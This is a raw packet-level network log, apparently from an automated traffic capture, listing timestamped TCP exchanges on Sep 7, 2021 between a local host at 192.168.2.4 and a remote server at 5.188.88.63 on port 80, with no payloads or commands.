Sep 7, 2021 16:02:37.255774975 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.255798101 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.255800962 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:37.255819082 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.255844116 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.255856037 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:37.255870104 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.255891085 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:37.255892992 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.255916119 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.255949974 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:37.255958080 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.256005049 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:37.256006002 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.256031036 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.256055117 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.256077051 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.256086111 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:37.256100893 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.256113052 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:37.256123066 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.256143093 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.256165028 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.256184101 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:37.256186008 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.256211996 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.256212950 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:37.256234884 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.256258011 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.256262064 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:37.256279945 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.256300926 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:37.256302118 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.256324053 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.256346941 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.256366014 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:37.256367922 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.256392002 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.256407022 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:37.256416082 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.256432056 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:37.256438017 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.256459951 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.256479979 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.256484032 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:37.256500959 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.256522894 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.256524086 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:37.256544113 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.256563902 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:37.256568909 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.256591082 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.256613016 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.256633043 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:37.256633997 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.256654978 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.256669998 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:37.256685972 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.257539988 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:37.314497948 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.314536095 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.314562082 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.314584970 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.314594030 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:37.314609051 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.314625978 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:37.314634085 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.314660072 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.314686060 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.314697981 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:37.314711094 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.314712048 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:37.314739943 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.314765930 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.314774036 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:37.314790010 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.314815044 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.314821959 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:37.314840078 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.314862013 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:37.314862967 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.314888000 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.314910889 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.314934969 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:37.314939022 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.314965010 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.314970016 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:37.314987898 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.315006971 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:37.315012932 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.315037012 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.315059900 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.315083027 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:37.315093994 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.315145016 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.315152884 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:37.315172911 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.315196991 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.315220118 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.315233946 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:37.315257072 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.315270901 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:37.315284014 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.315308094 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.315318108 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:37.315332890 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.315354109 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:37.315496922 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.315524101 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.315546989 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.315570116 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.315578938 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:37.315593004 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.315615892 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.315623999 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:37.315635920 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:37.315639019 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.315665007 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.315689087 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.315711975 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.315716982 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:37.315733910 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.315746069 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:37.315756083 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.315777063 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:37.315779924 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.315803051 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.315830946 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:37.316226006 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.316257000 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.316278934 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.316303015 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.316329002 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.316353083 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.316364050 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:37.316375971 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.316405058 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:37.316420078 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.316438913 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:37.317038059 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.317085028 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.317111969 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.317137957 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.317183971 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:37.317238092 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:37.322338104 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.322494984 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.322551966 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:37.322576046 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.322643995 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.322693110 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.322700024 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:37.322735071 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:37.322743893 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.322778940 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.322813988 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.322830915 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:37.322849989 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.322885990 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.322900057 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:37.322921991 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.322957039 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.322998047 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:37.323004007 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.323045969 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.323084116 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.323137045 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:37.323160887 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:37.323160887 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.323204994 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.323242903 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.323266029 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:37.323280096 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.323318958 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.323357105 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.323374987 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:37.323404074 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.323415995 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:37.323445082 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.323482990 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.323519945 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.323551893 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:37.323559046 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.323592901 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:37.323595047 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.323633909 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.323755980 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:37.323764086 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.323812008 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.323852062 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.323853016 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:37.323888063 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.323920965 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:37.323925018 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.323964119 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.323999882 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.324035883 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.324073076 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.324075937 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:37.324119091 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.324160099 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.324179888 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:37.324194908 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.324232101 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.324268103 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.324297905 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:37.324302912 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.324317932 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:37.324340105 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.324368954 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.324405909 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.324410915 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:37.324441910 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.324449062 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:37.324476957 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.324496031 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:37.324513912 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.324552059 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.324580908 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:37.324599028 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.324640036 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.324676037 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.324709892 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:37.324711084 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.324748039 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:37.324754000 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.324790955 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.324829102 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.324853897 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:37.324867010 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.324892998 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:37.324913025 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.324954987 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.324991941 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.325026035 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:37.325028896 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.325057983 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:37.325077057 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.326550007 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:37.327203989 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:37.380752087 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.380781889 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.380800009 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.380820036 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.380840063 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.380857944 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.380876064 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.380990982 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:37.381016016 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.381066084 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.381086111 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.381091118 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:37.381150007 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.381162882 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:37.381170034 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.381247044 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.381267071 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.381284952 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.381305933 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.381313086 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:37.381325006 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.381341934 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.381359100 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.381378889 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.381395102 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.381411076 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.381423950 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:37.381428003 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.381464005 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.381532907 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.381553888 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.381572008 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.381587982 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.381592035 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:37.381604910 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.381622076 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.381637096 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.381653070 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.381668091 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.381695032 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:37.381702900 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.381721020 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.381738901 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.381755114 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.381771088 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.381787062 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.381786108 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:37.381803036 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.381824017 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.381841898 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.381858110 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.381884098 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.381884098 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:37.381900072 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.381912947 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.381966114 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:37.382071972 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:37.382457018 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.382484913 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.382496119 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.382508993 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.382520914 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.382534027 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.382550955 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.382555008 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:37.382567883 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.382581949 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:37.382611036 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.382638931 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.382658005 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:37.382692099 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.382705927 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:37.382709980 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.382723093 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.382735968 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.382772923 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:37.382808924 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:37.391352892 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.391374111 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.391385078 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.391401052 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.391412973 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.391424894 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.391438007 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.391449928 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.391462088 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.391480923 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.391491890 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.391501904 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:37.391504049 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.391515017 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.391535044 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.391561031 CEST	80	49742	5.188.88.63	192.168.2.4
